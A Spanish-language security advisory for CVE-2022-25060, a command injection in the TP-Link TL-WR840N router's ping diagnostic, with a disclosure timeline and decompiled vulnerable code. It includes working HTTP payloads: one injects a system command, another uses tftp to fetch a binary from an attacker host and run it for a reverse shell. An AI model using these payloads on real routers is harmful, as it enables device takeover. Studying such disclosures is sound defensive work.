OS Command Injection in TPLINK TL-WR840N – CVE-2022-25060

OS Command Injection in TPLINK TL-WR840N

Version TL-WR840N(ES)_V6.20_180709

CVE-2022-25060
Aviso de Seguridad 003

Samir Sánchez Garnica
Luis Eduardo Jácome Valencia

Descripción de la vulnerabilidad

TL-WR840N

Router TPLINK Tl-WR840N Inalámbrico es un dispositivo con velocidad de transmisión de 300 Megabit por segundo (Mbps). Es el dispositivo de red justo para tareas cotidianas que requieren banda ancha y trabajos del día a día.

EL PROBLEMA

Esta versión es afectada por la ejecución de codigo remoto bajo el objeto oal_startPing.

VERSIONES AFECTADAS

Se estima que las versiones afectadas sean <= TL-WR840N(ES)_V6.20_180709

Línea de tiempo
FechaAcción
10/12/2021Aviso enviado a la respuesta a incidentes de seguridad de productos TPLINK
13/12/2021Se recibe una respuesta con el equipo de seguridad de TPLINK
02/02/2022Se recibe una version beta y se verifica la mitigacion de la vulnerabilidad
09/02/2022Se cierra el caso con el hallazgo identificado
Linea de tiempo

Descripción técnica y prueba de concepto (PoC)

Identificación de vulnerabilidad a traves de la ingenieria inversa

Esta vulnerabilidad es descubierta bajo el modulo de libreria denominado libcmm.so , en muchos de los casos descubiertos se identifica que muchos de los parametros que son pasados por el cliente no son sanitizados y pasan directamente a la funcion util_execSystem la cual ejecuta comandos de sistema operativo dentro del dispositivo.

a continuación puede identificar el segmento de código vulnerable, el cual recibe los parametros directamente sin ser sanitizados.

undefined4 oal_startPing(int param_1)

{
  int iVar1;
  size_t sVar2;
  undefined4 uVar3;
  char *pcVar4;
  undefined4 *puVar5;
  int iVar6;
  int local_428;
  undefined4 local_424;
  undefined4 local_420;
  undefined4 local_41c;
  undefined4 local_418;
  char acStack1044 [1028];
  
  memset(acStack1044,0,0x400);
  local_424 = 0;
  local_420 = 0;
  local_41c = 0;
  local_418 = 0;
  local_428 = 0;
  util_findSystemProc("ipping",0,acStack1044,"ipping",&local_428);
  if (local_428 != 0) {
    iVar6 = param_1 + 0x10c;
    uVar3 = 0x57;
    pcVar4 = "The previous ping to (%s) haven\'t complete, please wait a few minutes";
LAB_000b549c:
    cdbg_printf(8,"oal_startPing",uVar3,pcVar4,iVar6);
    return 1;
  }
  memset(acStack1044,0,0x400);
  iVar6 = param_1 + 0xec;
  if ((*(char *)(param_1 + 0xec) != '\0') &&
     (iVar1 = oal_intf_getIfAddr(iVar6,&local_424), iVar1 == 0)) {
    uVar3 = 0x62;
    pcVar4 = "Get interface(%s)\'s IP failed!";
    goto LAB_000b549c;
  }
  if (*(char *)(param_1 + 0xcc) == '\0') {
    sVar2 = strlen(acStack1044);
    snprintf(acStack1044 + sVar2,0x400 - sVar2,"ipping -c %d -s %d -w %d %s ",
             *(undefined4 *)(param_1 + 0x108),*(undefined4 *)(param_1 + 0x100),
             *(undefined4 *)(param_1 + 0x104),param_1 + 0x10c);
  }
  else {
    sVar2 = strlen(acStack1044);
    snprintf(acStack1044 + sVar2,0x400 - sVar2,"ipping -c 1 -s %d -w %d %s",
             *(undefined4 *)(param_1 + 0x100),*(undefined4 *)(param_1 + 0x104),param_1 + 0x10c);
  }
  iVar6 = util_netChkLegalIpAddr(&local_424);
  if (iVar6 == 0) {
    if (*(char *)(param_1 + 0xec) == '\0') goto LAB_000b55f0;
    sVar2 = strlen(acStack1044);
    pcVar4 = acStack1044 + sVar2;
    puVar5 = (undefined4 *)(param_1 + 0xec);
  }
  else {
    sVar2 = strlen(acStack1044);
    pcVar4 = acStack1044 + sVar2;
    puVar5 = &local_424;
  }
  snprintf(pcVar4,0x400 - sVar2," -I %s",puVar5);
LAB_000b55f0:
  sVar2 = strlen(acStack1044);
  snprintf(acStack1044 + sVar2,0x400 - sVar2," &");
  util_execSystem("oal_startPing",acStack1044);
  return 0;
}

La funcion vulnerable es llamada desde el objeto rsl_ipping_start y rsl_setIppingDiagOb

Podemos comprobar la inyeccion de comandos enviando el siguiente payload.

POST /cgi?2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 160
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: Authorization=Basic YWRtaW46YWRtaW4=

[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=4
host=;cat /proc/cpuinfo;
X_TP_ConnName=ewan_ipoe_s
diagnosticsState=Requested
Inyección de comando exitosa a traves de peticion HTTP

La explotación

Puede seguir los siguientes pasos para poder llevar a cabo la explotación de la inyección de comandos de una manera exitosa.

  1. no existe una restricción de caracteres ni de tamaño por lo cual puede inyectar una cadena larga y consecutiva.
  2. El router al ser limitado en los binarios podemos hacer uso del servicio tftp para descargar archivos y ejecutar codigo remoto.
  3. Necesita compilar una shellcode para la arquitectura MIPSLE e invocarla en la inyeccion de comandos.

Finalmente el atacante puede obtener una shell reversa con la investigación anterior y tomar control del producto.

POST /cgi?2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 242
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: Authorization=Basic YWRtaW46YWRtaW4=

[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=4
host=172.26.26.1;tftp -g -r s -l/var/tmp/s 192.168.0.3; chmod +x /var/tmp/s; ./var/tmp/s;
X_TP_ConnName=ewan_ipoe_s
diagnosticsState=Requested

Invoque la siguiente peticion para trigerear la solicitud de inyeccion de comandos

POST /cgi?7 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 44
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: Authorization=Basic YWRtaW46YWRtaW4=

[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0

Finalmente obtenga la reverse shell y tome control del producto.

URL mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25060

URL código de explotación: https://github.com/exploitwritter/CVE-2022-25060

Deja un comentario

Web construida con WordPress.com.

Subir ↑